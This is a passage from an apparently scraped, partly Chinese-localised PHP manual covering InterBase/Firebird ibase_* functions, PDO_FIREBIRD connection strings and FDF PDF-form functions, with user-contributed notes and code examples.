     $query_rez = ibase_query($db,$sql_v) or die(ibase_errmsg());
     $prc_v =  ibase_fetch_row($query_rez);
     $sql_o = "SELECT * FROM P_GET_PRICE_C_OBYOM('$id', '$std_train1_obyom[$i]')";
       $query_rez = ibase_query($db,$sql_o) or die(ibase_errmsg());
     $prc_o =  ibase_fetch_row($query_rez);

   if (isset($prc_o[0]))
   {
   $c_obyom = $prc_o[0];
   $c_ves = $prc_v[0];
   $prices_train[$id][$i] = array( 'OBYOM' => $c_obyom,'VES'    => $c_ves );
   $mysql_jde_price[$cnt_price] = "INSERT INTO jde_price VALUES (default, '$id', '$std_train1_ves[$i]', '$c_ves', '$std_train1_obyom[$i]', '$c_obyom');";
   $cnt_price++;
   }
   }
   }
  }
 }
}

How I can decide that Error?
akach [at] exat (dot) ru
28-Jul-2005 07:18
If you use ibase_query() for SELECT without fetching result then you must know that SELECT isn't actually executed.
E.g. you perform "SELECT MY_UDF(param) from RDB$DATABASE" - MY_UDF isn't actually called until you fetch result.

This is a feature(or bug) of php interbase drivers, not interbase/firebird itself.

Test conditions: firebird 1.5.2, php 4.
escoric at latinmail dot com
18-Aug-2004 01:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au
04-Jun-2004 02:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

function interbase_sql_exec ($sql) {
   $dataArr = array();
   $host = "svrname:path\filename.GDB";
   $username = "whatever";
   $password = "******";
   $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
   $rid = @ibase_query ($connection, $sql);
   if ($rid===false) errorHandle(ibase_errmsg(),$sql);
   $coln = ibase_num_fields($rid);
   $blobFields = array();
   for ($i=0; $i < $coln; $i++) {
       $col_info = ibase_field_info($rid, $i);
       if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
   }
   while ($row = ibase_fetch_row ($rid)) {
       foreach ($blobFields as $field_num=>$field_name) {
           $blobid = ibase_blob_open($row[$field_num]);
           $row[$field_num] = ibase_blob_get($blobid,102400);
           ibase_blob_close($blobid);
       }
       $dataArr[] = $row;
   }
   ibase_close ($connection);
   return $dataArr;
}
SenorTZ senortz at nospam dot yahoo dot com
24-Jul-2003 07:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
   print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
eg. "select rdb\$relation_name as TABLE_NAME from ..."
elf at royal dot net
28-Mar-2002 04:18
A BLOB can be fetched easily adding IBASE_TEXT parameter to the ibase_fetch_object() function:

$r=ibase_query("select BLOB from BLOBS where BLOB_ID=1");
$d=ibase_fetch_object($r,IBASE_TEXT);

and it will fetch the BLOB as a text. Thus it referres to it like this:
$d->BLOB

*** ELF ***
eric_cavalcanti at hotmail dot com
20-Jan-2002 04:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);
add a note add a note

后退 | 起点 | 前进
ibase_prepare | 上一级 | ibase_restore


ibase_restore

(PHP 5)

ibase_restore -- Initiates a restore task in the service manager and returns immediately

Description

mixed ibase_restore ( resource service_handle, string source_file, string dest_db [, int options [, bool verbose]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_query | 上一级 | ibase_rollback_ret


ibase_rollback_ret

(PHP 5)

ibase_rollback_ret -- Roll back a transaction without closing it

Description

bool ibase_rollback_ret ( [resource link_or_trans_identifier] )

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back. The transaction context will be retained, so statements executed from within this transaction will not be invalidated. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_restore | 上一级 | ibase_rollback


ibase_rollback

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_rollback -- Roll back a transaction

Description

bool ibase_rollback ( [resource link_or_trans_identifier] )

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_rollback_ret | 上一级 | ibase_server_info


ibase_server_info

(PHP 5)

ibase_server_info -- Request information about a database server

Description

string ibase_server_info ( resource service_handle, int action )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_rollback | 上一级 | ibase_service_attach


ibase_service_attach

(PHP 5)

ibase_service_attach -- Connect to the service manager

Description

resource ibase_service_attach ( string host, string dba_username, string dba_password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
houston_roadrunner at yahoo dot com
20-Apr-2006 12:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 04:58
An example of ibase_service_attach:
<?php
   //attach to the server running on localhost
   if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
       //retrieve server info
       $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                     . ' / '
                     . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
       //detach from server (disconnect)
       ibase_service_detach($service);
   }
   else {
       $ib_error = ibase_errmsg();
   }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code
add a note add a note

后退 | 起点 | 前进
ibase_server_info | 上一级 | ibase_service_detach


ibase_service_detach

(PHP 5)

ibase_service_detach -- Disconnect from the service manager

Description

bool ibase_service_detach ( resource service_handle )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_service_attach | 上一级 | ibase_set_event_handler


ibase_set_event_handler

(PHP 5)

ibase_set_event_handler -- Register a callback function to be called when events are posted

Description

resource ibase_set_event_handler ( callback event_handler, string event_name1 [, string event_name2 [, string ...]] )

resource ibase_set_event_handler ( resource connection, callback event_handler, string event_name1 [, string event_name2 [, string ...]] )

This function registers a PHP user function as event handler for the specified events. The callback is called with the event name and the link resource as arguments whenever one of the specified events is posted by the database. The callback must return FALSE if the event handler should be canceled. Any other return value is ignored. This function accepts up to 15 event arguments.

<?php

function event_handler($event_name, $link)
{
    if ($event_name=="NEW ORDER") {
        // process new order
        ibase_query($link, "UPDATE orders SET status='handled'");
    } else if ($event_name=="DB_SHUTDOWN") {
        // free event handler
        return false;
    }
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

The return value is an event resource. This resource can be used to free the event handler using ibase_free_event_handler().

See also ibase_free_event_handler() and ibase_wait_event().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_service_detach | 上一级 | ibase_timefmt


ibase_timefmt

(PHP 3 >= 3.0.6, PHP 4)

ibase_timefmt -- Sets the format of timestamp, date and time type columns returned from queries

Description

int ibase_timefmt ( string format [, int columntype] )

Sets the format of timestamp, date or time type columns returned from queries. Internally, the columns are formatted by c-function strftime(), so refer to its documentation regarding to the format of the string. columntype is one of the constants IBASE_TIMESTAMP, IBASE_DATE and IBASE_TIME. If omitted, defaults to IBASE_TIMESTAMP for backwards compatibility.

<?php
    /* InterBase 6 TIME-type columns will be returned in
     * the form '05 hours 37 minutes'. */
    ibase_timefmt("%H hours %M minutes", IBASE_TIME);
?>

You can set defaults for these formats with the PHP configuration directives ibase.timestampformat, ibase.dateformat and ibase.timeformat.

注: This function has been removed from PHP 5, use ini_set() instead.

add a note add a note User Contributed Notes
slynko at gmail dot com
03-Feb-2006 04:21
I use this code (for easy migration from PHP4 to PHP5):

/**
 * Constant definitions that has been removed from PHP 5
*/
const IBASE_DATE = "ibase.dateformat";
const IBASE_TIME = "ibase.timeformat";
const IBASE_TIMESTAMP = "ibase.timestampformat";

/**
 * Sets the format of timestamp, date or time type
 * columns returned from queries
*/
function ibase_timefmt($format, $where = IBASE_TIMESTAMP)
{
 ini_set($where, $format);
}
add a note add a note

后退 | 起点 | 前进
ibase_set_event_handler | 上一级 | ibase_trans


ibase_trans

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_trans -- Begin a transaction

Description

resource ibase_trans ( [int trans_args [, resource link_identifier]] )

Begins a transaction.

trans_args can be a combination of IBASE_READ, IBASE_WRITE, IBASE_COMMITTED, IBASE_CONSISTENCY, IBASE_CONCURRENCY, IBASE_REC_VERSION, IBASE_REC_NO_VERSION, IBASE_WAIT and IBASE_NOWAIT.

注: The behaviour of this function has been changed in PHP 5.0.0. The first call to ibase_trans() will not return the default transaction of a connection. All transactions started by ibase_trans() will be rolled back at the end of the script if they were not committed or rolled back by either ibase_commit() or ibase_rollback().

注: In PHP 5.0.0. and up, this function will accept multiple trans_args and link_identifier arguments. This allows transactions over multiple database connections, which are committed using a 2-phase commit algorithm. This means you can rely on the updates to either succeed in every database, or fail in every database. It does NOT mean you can use tables from different databases in the same query!

If you use transactions over multiple databases, you will have to specify both the link_id and transaction_id in calls to ibase_query() and ibase_prepare().

add a note add a note User Contributed Notes
Aaron Brundle
10-Nov-2005 06:06
Example of using ibase_trans with ibase_prepare and ibase_execute:

$dbh = ibase_connect( ... );
$sql =  " ... ";
$trans = ibase_trans( IBASE_DEFAULT,$dbh );
$sth = ibase_prepare( $trans, $sql );
$res = ibase_execute( $sth, $params_if_any );
if ($res == false) {
  //log failure if you want
}
ibase_commit($trans);
//free if needed
ibase_free_query($sth);
unset($res);
jon at tgpsolutions dot com
12-Jul-2002 09:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.
add a note add a note

后退 | 起点 | 前进
ibase_timefmt | 上一级 | ibase_wait_event


ibase_wait_event

(PHP 5)

ibase_wait_event -- Wait for an event to be posted by the database

Description

string ibase_wait_event ( string event_name1 [, string event_name2 [, string ...]] )

string ibase_wait_event ( resource connection, string event_name1 [, string event_name2 [, string ...]] )

This function suspends execution of the script until one of the specified events is posted by the database. The name of the event that was posted is returned. This function accepts up to 15 event arguments.

See also ibase_set_event_handler() and ibase_free_event_handler().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_trans | 上一级 | Firebird/Interbase Functions (PDO_FIREBIRD)


Firebird/Interbase Functions (PDO_FIREBIRD)

PHP 手册
后退 前进

XXXVII. Firebird/Interbase Functions (PDO_FIREBIRD)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_FIREBIRD is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Firebird and Interbase databases.

目录
PDO_FIREBIRD DSN -- Connecting to Firebird and Interbase databases

add a note add a note User Contributed Notes
Darren
08-Mar-2006 09:18
After much trial and error i found out you should use the following to connect to a firebird database:
<?php
  $db = new PDO ("firebird:dbname=localhost:C:\\path\\to\\database\\MyDatabase.FDB", "username", "password");
?>
NOTE: in the 1st part of the connection string there can be NO spaces else you will get NULL.
The string provided on this site does not work and will give no error only NULL.
thomas at last-it dot de
04-Feb-2006 09:52
if youre dsn syntax is wrong, see ritsaert's comment, there maybe no errormessage!
ritsaert at continuit dot nl
19-Dec-2005 10:43
The connection string for a firebird PDO connection is different than described above. It is something like:

$DB = new PDO("firebird:dbname=T:\\Klimreg.GDB", "SYSDBA", "masterkey");

after dbname= the default connection string for Interbase and Firebird databases is used as presented to either gds32.dll or fbclient.dll.
add a note add a note

后退 | 起点 | 前进
ibase_wait_event | 上一级 | PDO_FIREBIRD DSN


PDO_FIREBIRD DSN

(no version information, might be only in CVS)

PDO_FIREBIRD DSN -- Connecting to Firebird and Interbase databases

说明

The PDO_FIREBIRD Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is firebird:.

DataSource

The hostname on which the database server resides.

Port

The port number for the server on which the database is running.

Database

The name of the database.

User

The name of the user that will connect to the database.

Password

The password for the user.

范例

例子 1. PDO_firebird DSN examples

The following example shows a PDO_FIREBIRD DSN for connecting to Firebird and Interbase databases:
firebird:User=john;Password=mypass;Database=DATABASE.GDE;DataSource=localhost;Port=3050

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Firebird/Interbase Functions (PDO_FIREBIRD) | 上一级 | Forms Data Format Functions


Forms Data Format Functions

PHP 手册
后退 前进

XXXVIII. Forms Data Format Functions

简介

Forms Data Format (FDF) is a format for handling forms within PDF documents. You should read the documentation at http://partners.adobe.com/asn/acrobat/forms.jsp for more information on what FDF is and how it is used in general.

The general idea of FDF is similar to HTML forms. The difference is basically the format how data is transmitted to the server when the submit button is pressed (this is actually the Form Data Format) and the format of the form itself (which is the Portable Document Format, PDF). Processing the FDF data is one of the features provided by the fdf functions. But there is more. One may as well take an existing PDF form and populated the input fields with data without modifying the form itself. In such a case one would create a FDF document (fdf_create()) set the values of each input field (fdf_set_value()) and associate it with a PDF form (fdf_set_file()). Finally it has to be sent to the browser with MimeType application/vnd.fdf. The Acrobat reader plugin of your browser recognizes the MimeType, reads the associated PDF form and fills in the data from the FDF document.

If you look at an FDF-document with a text editor you will find a catalogue object with the name FDF. Such an object may contain a number of entries like Fields, F, Status etc.. The most commonly used entries are Fields which points to a list of input fields, and F which contains the filename of the PDF-document this data belongs to. Those entries are referred to in the FDF documentation as /F-Key or /Status-Key. Modifying this entries is done by functions like fdf_set_file() and fdf_set_status(). Fields are modified with fdf_set_value(), fdf_set_opt() etc..

需求

You need the FDF toolkit SDK available from http://partners.adobe.com/asn/acrobat/forms.jsp. As of PHP 4.3 you need at least SDK version 5.0. The FDF toolkit library is available in binary form only, platforms supported by Adobe are Win32, Linux, Solaris and AIX.

安装

You must compile PHP with --with-fdftk[=DIR].

注: If you run into problems configuring PHP with fdftk support, check whether the header file fdftk.h and the library libfdftk.so are at the right place. The configure script supports both the directory structure of the FDF SDK distribution and the usual DIR/include / DIR/lib layout, so you can point it either directly to the unpacked distribution directory or put the header file and the appropriate library for your platform into e.g. /usr/local/include and /usr/local/lib and configure with --with-fdftk=/usr/local.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy fdftk.dll from the DLL folder of the PHP/Win32 binary package to the SYSTEM32 folder of your windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM32)

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

fdf

Most fdf functions require a fdf resource as their first parameter. A fdf resource is a handle to an opened fdf file. fdf resources may be obtained using fdf_create(), fdf_open() and fdf_open_string().

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

FDFValue (integer)

FDFStatus (integer)

FDFFile (integer)

FDFID (integer)

FDFFf (integer)

FDFSetFf (integer)

FDFClearFf (integer)

FDFFlags (integer)

FDFSetF (integer)

FDFClrF (integer)

FDFAP (integer)

FDFAS (integer)

FDFAction (integer)

FDFAA (integer)

FDFAPRef (integer)

FDFIF (integer)

FDFEnter (integer)

FDFExit (integer)

FDFDown (integer)

FDFUp (integer)

FDFFormat (integer)

FDFValidate (integer)

FDFKeystroke (integer)

FDFCalculate (integer)

FDFNormalAP (integer)

FDFRolloverAP (integer)

FDFDownAP (integer)

范例

The following examples shows just the evaluation of form data.

例子 1. Evaluating a FDF document

<?php
// Open fdf from input string provided by the extension
// The pdf form contained several input text fields with the names
// volume, date, comment, publisher, preparer, and two checkboxes
// show_publisher and show_preparer.
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "The volume field has the value '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "The date field has the value '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "The comment field has the value '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
  $publisher = fdf_get_value($fdf, "publisher");
  echo "The publisher field has the value '<b>$publisher</b>'<br />";
} else
  echo "Publisher shall not be shown.<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
  $preparer = fdf_get_value($fdf, "preparer");
  echo "The preparer field has the value '<b>$preparer</b>'<br />";
} else
  echo "Preparer shall not be shown.<br />";
fdf_close($fdf);
?>

目录
fdf_add_doc_javascript -- Adds javascript code to the FDF document
fdf_add_template -- Adds a template into the FDF document
fdf_close -- Close an FDF document
fdf_create -- Create a new FDF document
fdf_enum_values -- Call a user defined function for each document value
fdf_errno -- Return error code for last fdf operation
fdf_error -- Return error description for fdf error code
fdf_get_ap -- Get the appearance of a field
fdf_get_attachment -- Extracts uploaded file embedded in the FDF
fdf_get_encoding -- Get the value of the /Encoding key
fdf_get_file -- Get the value of the /F key
fdf_get_flags -- Gets the flags of a field
fdf_get_opt -- Gets a value from the opt array of a field
fdf_get_status -- Get the value of the /STATUS key
fdf_get_value -- Get the value of a field
fdf_get_version -- Gets version number for FDF API or file
fdf_header -- Sets FDF-specific output headers
fdf_next_field_name -- Get the next field name
fdf_open_string -- Read a FDF document from a string
fdf_open -- Open a FDF document
fdf_remove_item -- Sets target frame for form
fdf_save_string -- Returns the FDF document as a string
fdf_save -- Save a FDF document
fdf_set_ap -- Set the appearance of a field
fdf_set_encoding -- Sets FDF character encoding
fdf_set_file -- Set PDF document to display FDF data in
fdf_set_flags -- Sets a flag of a field
fdf_set_javascript_action -- Sets an javascript action of a field
fdf_set_on_import_javascript -- Adds javascript code to be executed when Acrobat opens the FDF
fdf_set_opt -- Sets an option of a field
fdf_set_status -- Set the value of the /STATUS key
fdf_set_submit_form_action -- Sets a submit form action of a field
fdf_set_target_frame -- Set target frame for form display
fdf_set_value -- Set the value of a field
fdf_set_version -- Sets version number for a FDF file

add a note add a note User Contributed Notes
wesley_grant at yahoo dot com
12-Jan-2006 07:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us
19-Oct-2005 11:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
04-May-2005 04:08
Use "Yes" instead of "On" to populate checkboxes.
08-Mar-2005 09:56
For the example below, I have not b een able to have it populate checkbox fields.
g8z at yahoo dot com
18-Oct-2004 02:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
   $fdf = "%FDF-1.2\n%\n";
   $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

   foreach ($strings as $key => $value)
   {
       $key = addcslashes($key, "\n\r\t\\()");
       $value = addcslashes($value, "\n\r\t\\()");
       $fdf .= "<< /T ($key) /V ($value) >> \n";
   }
   foreach ($keys as $key => $value)
   {
       $key = addcslashes($key, "\n\r\t\\()");
       $fdf .= "<< /T ($key) /V /$value >> \n";
   }

   $fdf .= "]\n/F ($pdffile) >>";
   $fdf .= ">>\nendobj\ntrailer\n<<\n";
   $fdf .= "/Root 1 0 R \n\n>>\n";
   $fdf .= "%%EOF";

   return $fdf;
}

// Fill in text fields
$strings = array(
   'date' => '10/17/2004',
   'full_name' => 'Joe Doe',
   'phone_num' => '123-4567',
   'company' => 'ACME Widgets',
   'amount' => 'USD 100.00'
   );

// Fill in check boxes/radio buttons
$keys = array('
   gender' => 'male',//radio button
   'is_adult' => 'Off',//checkbox
   'urgent' => 'On'//checkbox
   );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com
08-Oct-2004 02:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
ronsantiago at hotmail dot com
03-Oct-2004 12:18
Use these functions instead if you want to create an FDF file without installing the FDF toolkit. You would use it the same way as the fdf_* functions. BTW, I only wrote the basic library functions for creating FDFs.

define('ntk_FDFValue', 0);
define('ntk_FDFStatus', 1);
define('ntk_FDFFile', 2);
define('ntk_FDFID',    3);
define('ntk_FDFFf',    5);
define('ntk_FDFSetFf', 6);
define('ntk_FDFClearFf', 7);
define('ntk_FDFFlags', 8);
define('ntk_FDFSetF', 9);
define('ntk_FDFClrF',    10);
define('ntk_FDFAP',    11);
define('ntk_FDFAS',    12);
define('ntk_FDFAction',    13);
define('ntk_FDFAA',    14);
define('ntk_FDFAPRef', 15);
define('ntk_FDFIF',    16);
define('ntk_FDFEnter', 0);
define('ntk_FDFExit',    1);
define('ntk_FDFDown',    2);
define('ntk_FDFUp',    3);
define('ntk_FDFFormat',    4);
define('ntk_FDFValidate',    5);
define('ntk_FDFKeystroke', 6);
define('ntk_FDFCalculate', 7);
define('ntk_FDFNormalAP',    1);
define('ntk_FDFRolloverAP',    2);
define('ntk_FDFDownAP',    3);

function ntk_fdf_header() {
  header('Content-type: application/vnd.fdf');
}

function ntk_fdf_create() {
  $fdf['header'] = "%FDF-1.2\n%\n1 0 obj \n<< /FDF ";
  $fdf['trailer'] = ">>\nendobj\ntrailer\n<<\n/Root 1 0 R \n\n>>\n%%EOF";

  return $fdf;
}

function ntk_fdf_close(&$fdf) {
  unset($fdf);
}

function ntk_fdf_set_file(&$fdf, $pdfFile) {
  $fdf['file'] = $pdfFile;
}

function ntk_fdf_set_target_frame(&$fdf, $target) {
  $fdf['target'] = $target;
}

function ntk_fdf_set_value(&$fdf, $fieldName, $fieldValue) {
  $fdf['values'] = array_merge($fdf['values'], array($fieldName => $fieldValue));
}

function ntk_fdf_add_doc_javascript(&$fdf, $scriptName, $script) {
  $fdf['docscripts'] = array_merge($fdf['docscripts'], array($scriptName => $script));
}

function ntk_fdf_set_javascript_action(&$fdf, $fieldName, $trigger, $script) {
  $fdf['fieldscripts'] = array_merge($fdf['fieldscripts'], array($fieldName => array($script, $trigger)));
}

function ntk_fdf_save(&$fdf, $fdfFile = null) {
  $search = array('\\', '(', ')');
  $replace = array('\\\\', '\(', '\)');

  $fdfStr = $fdf['header'];

  $fdfStr.= "<< ";

  if(isset($fdf['file'])) {
   $fdfStr.= "/F (".$fdf['file'].") ";
  }

  if(isset($fdf['target'])) {
   $fdfStr.= "/Target (".$fdf['target'].") ";
  }

  if(isset($fdf['docscripts'])) {
   $fdfStr.= "/JavaScript << /Doc [\n";

   // populate the doc level javascripts
   foreach($fdf['docscripts'] as $key => $value) {
     $fdfStr.= "(".str_replace($search, $replace, $key).")(".str_replace($search, $replace, $value).")";
   }

   $fdfStr.= "\n] >>\n";
  }

  if(isset($fdf['values']) || isset($fdf['fieldscripts'])) {
   // field level
   $fdfStr.= "/Fields [\n";

   if(isset($fdf['fieldscripts'])) {
     // populate the field level javascripts
     foreach($fdf['fieldscripts'] as $key => $val) {
       $fdfStr .= "<< /A << /S /JavaScript /JS (".str_replace($search, $replace, $val[0]).") >> /T (".str_replace($search, $replace, $key).") >>\n";
     }
   }

   if(isset($fdf['values'])) {
     // populate the fields
     foreach($fdf['values'] as $key => $value) {
       $fdfStr .= "<< /V (".str_replace($search, $replace, $value).") /T (".str_replace($search, $replace, $key).") >>\n";
     }
   }

   $fdfStr.= "]\n";
  }

  $fdfStr.= ">>";

  $fdfStr.= $fdf['trailer'];

  if($fdfFile) {
   $handle = fopen($fdfFile, 'w');
   fwrite($handle, $fdfStr);
   fclose($handle);
  }
  else {
   echo $fdfStr;
  }
}
m1tk4 at hotmail dot com
01-Jul-2004 01:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com
26-Mar-2004 06:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com
18-Dec-2003 11:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
   $fdf = "%FDF-1.2\n%\n";
   $fdf .= "1 0 obj \n<< /FDF ";
   $fdf .= "<< /Fields [\n";

   $search = array('\\', '(', ')');
   $replace = array('\\\\', '\(', '\)');
   foreach ($pdf_data as $key => $val)
   {
       $clean_key = str_replace($search, $replace, $key);
       $clean_val = str_replace($search, $replace, $val);
       $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
   }

   $fdf .= "]\n/F ($pdf_file) >>";
   $fdf .= ">>\nendobj\ntrailer\n<<\n";
   $fdf .= "/Root 1 0 R \n\n>>\n";
   $fdf .= "%%EOF";

   return $fdf;
}
mirage at rateaprof dot com
08-May-2003 08:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu
05-Mar-2003 10:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net
20-Jan-2003 12:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De
27-Nov-2002 04:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com
22-Oct-2002 07:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com
